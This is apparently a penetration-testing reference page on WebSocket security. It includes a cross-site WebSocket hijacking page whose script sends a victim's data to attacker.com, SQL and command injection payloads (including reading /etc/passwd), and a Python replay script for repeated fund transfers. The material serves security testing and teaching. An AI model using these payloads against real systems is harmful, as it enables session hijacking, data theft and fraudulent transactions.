Skip to content
HackIndex.io

WebSocket Security Testing

6 min read Created Sep 13, 2026 Last updated Sep 13, 2026

WebSocket connections maintain a persistent bidirectional channel between browser and server, bypassing the request-response model of HTTP. Security testing for WebSockets targets the handshake, message handling, and authentication mechanisms. Vulnerabilities in WebSocket implementations lead to injection attacks (SQLi, command injection, XSS through reflected messages), cross-site WebSocket hijacking (CSWSH), and authentication bypass. Many WAFs and security tools do not inspect WebSocket traffic, making these vulnerabilities harder to detect with automated scanning.

Topics covered on this page:

  • WebSocket handshake interception and manipulation
  • Cross-Site WebSocket Hijacking (CSWSH)
  • Injection attacks through WebSocket messages (SQLi, command injection)
  • Authentication and authorization testing
  • Message manipulation and replay attacks
  • Testing tools: Burp Suite, wscat, websocat

WebSocket Fundamentals for Testing

WebSocket connections start with an HTTP Upgrade handshake. The client sends a GET request with Upgrade: websocket and Connection: Upgrade headers. The server responds with 101 Switching Protocols and the connection upgrades to a persistent TCP socket. After the handshake, all communication happens over WebSocket frames, not HTTP requests.

Identify WebSocket endpoints by looking for:

  • ws:// or wss:// URLs in JavaScript source
  • new WebSocket() calls in client-side code
  • Upgrade: websocket headers in proxy history
  • Socket.IO, SockJS, or SignalR libraries (wrap WebSocket with fallbacks)
┌──(kali㉿kali)-[~]
└─$ grep -rn --include='*.js' --include='*.html' -E '(ws://|wss://|new WebSocket|io\.connect|socket\.io)' .

Intercepting WebSocket Traffic with Burp Suite

Burp Suite captures WebSocket handshakes in the HTTP history tab and individual messages in the WebSockets history tab. To test:

  1. Browse the application with Burp as proxy
  2. Trigger the feature that uses WebSockets
  3. Check Proxy > WebSockets history for captured messages
  4. Right-click a message to send it to Repeater for modification and replay

Burp can intercept and modify WebSocket messages in real time: enable interception in Proxy > Options > WebSocket interception rules. This allows you to modify messages before they reach the server, testing how the application handles unexpected input.

For endpoints that require a handshake with specific cookies or tokens, use Burp's session handling rules to keep the WebSocket connection authenticated.

Command-Line WebSocket Testing

wscat provides a command-line WebSocket client for manual testing. Connect and send messages interactively:

┌──(kali㉿kali)-[~]
└─$ wscat -c ws://$TARGET_IP:$PORT/ws 
Connected (press CTRL+C to quit)
> {"action": "ping"}
< {"status": "pong"}
Explain command
-c Connect to the specified WebSocket URL.

With custom headers (for authentication):

┌──(kali㉿kali)-[~]
└─$ wscat -c ws://$TARGET_IP:$PORT/ws -H "Cookie: session=<TOKEN>" -H "Origin: http://$TARGET_IP:$PORT"

websocat is an alternative with more features including piping, TLS options, and binary frame support:

┌──(kali㉿kali)-[~]
└─$ echo '{"action": "getUser", "id": "1"}' | websocat ws://$TARGET_IP:$PORT/ws

Cross-Site WebSocket Hijacking (CSWSH)

CSWSH exploits missing Origin validation on the WebSocket handshake. The WebSocket protocol does not enforce same-origin policy: any web page can open a WebSocket to any server. If the server does not validate the Origin header during the handshake, an attacker's page can establish a WebSocket connection to the target application using the victim's cookies.

Test by connecting from a different origin and checking if the handshake succeeds:

┌──(kali㉿kali)-[~]
└─$ wscat -c ws://$TARGET_IP:$PORT/ws -H "Origin: http://evil.com" -H "Cookie: session=<VICTIM_TOKEN>"

If the connection succeeds with an external Origin, the application is vulnerable. Exploit with a malicious HTML page that the victim visits:

<script>
  var ws = new WebSocket('wss://target.com/ws');
  ws.onopen = function() {
    ws.send(JSON.stringify({action: 'getProfile'}));
  };
  ws.onmessage = function(event) {
    // Exfiltrate data to attacker server
    fetch('https://attacker.com/steal?data=' + encodeURIComponent(event.data));
  };
</script>

The victim's browser sends their session cookies with the WebSocket handshake. The attacker's page can then send messages as the victim and read responses. This is the WebSocket equivalent of CSRF but with bidirectional data access.

SQL Injection via WebSocket Messages

WebSocket messages that include user input in database queries are vulnerable to SQLi just like HTTP parameters. Test by injecting SQL payloads into message fields:

┌──(kali㉿kali)-[~]
└─$ wscat -c ws://$TARGET_IP:$PORT/ws
┌──(kali㉿kali)-[~]
└─$ > {"action": "search", "query": "test' OR '1'='1"}
┌──(kali㉿kali)-[~]
└─$ > {"action": "search", "query": "test' UNION SELECT username,password FROM users-- -"}
┌──(kali㉿kali)-[~]
└─$ > {"action": "getUser", "id": "1 OR 1=1"}

If the response contains data from other rows or the behavior changes with boolean conditions, the endpoint is vulnerable. Standard SQLi techniques apply: see SQL injection for full exploitation methods. The difference is delivery through WebSocket frames instead of HTTP parameters.

Command Injection via WebSocket Messages

Applications that pass WebSocket message content to system commands are vulnerable to OS command injection. Common patterns: file operations, log processing, system management panels, chat applications that process commands.

┌──(kali㉿kali)-[~]
└─$ wscat -c ws://$TARGET_IP:$PORT/ws
┌──(kali㉿kali)-[~]
└─$ > {"action": "ping", "host": "127.0.0.1; id"}
┌──(kali㉿kali)-[~]
└─$ > {"action": "ping", "host": "127.0.0.1 | cat /etc/passwd"}
┌──(kali㉿kali)-[~]
└─$ > {"action": "execute", "cmd": "ls $(whoami)"}

For blind injection where the response does not reflect command output, use out-of-band callbacks. Inject a curl or nslookup to your listener and watch for the connection. See out-of-band data exfiltration for callback techniques. For bypass techniques when basic payloads are filtered, see command injection bypasses.

Authentication and Authorization Testing

WebSocket authentication is often weaker than HTTP authentication because the persistent connection makes per-message authentication expensive. Common weaknesses:

  • Token in URL: ws://target.com/ws?token=abc123 leaks the token in logs, Referer headers, and browser history
  • No re-authentication: session validated during handshake but never re-checked. If the session expires or is revoked, the WebSocket stays open
  • Missing authorization per message: handshake checks if the user is logged in, but individual message handlers do not check if the user is authorized for that specific action
  • No CSRF protection on handshake: no CSRF token validation, enabling CSWSH

Test authorization by authenticating as a low-privilege user and sending messages that should require higher privileges:

┌──(kali㉿kali)-[~]
└─$ wscat -c ws://$TARGET_IP:$PORT/ws -H "Cookie: session=<LOW_PRIV_TOKEN>"
┌──(kali㉿kali)-[~]
└─$ > {"action": "adminAction", "target": "deleteUser", "userId": 1}
┌──(kali㉿kali)-[~]
└─$ > {"action": "getConfig", "section": "database"}
┌──(kali㉿kali)-[~]
└─$ > {"action": "listUsers", "role": "admin"}

Message Manipulation and Replay

WebSocket messages can be captured, modified, and replayed. Useful attacks:

  • Price manipulation: change amount fields in purchase or transfer messages
  • ID tampering: change user IDs to access other accounts (IDOR over WebSocket)
  • Replay: resend a captured message to repeat an action (transfer funds, post messages)
  • Race conditions: send the same message rapidly over multiple connections. See race condition exploitation

Automate replay with a script that sends captured messages in rapid succession:

import asyncio
import websockets

async def replay(url, cookie, message, count=50):
    async with websockets.connect(url, extra_headers={'Cookie': cookie}) as ws:
        tasks = [ws.send(message) for _ in range(count)]
        await asyncio.gather(*tasks)
        for _ in range(count):
            response = await ws.recv()
            print(response)

asyncio.run(replay(
    'ws://$TARGET_IP:$PORT/ws',
    'session=<TOKEN>',
    '{"action": "transfer", "amount": 100, "to": "attacker"}'
))

References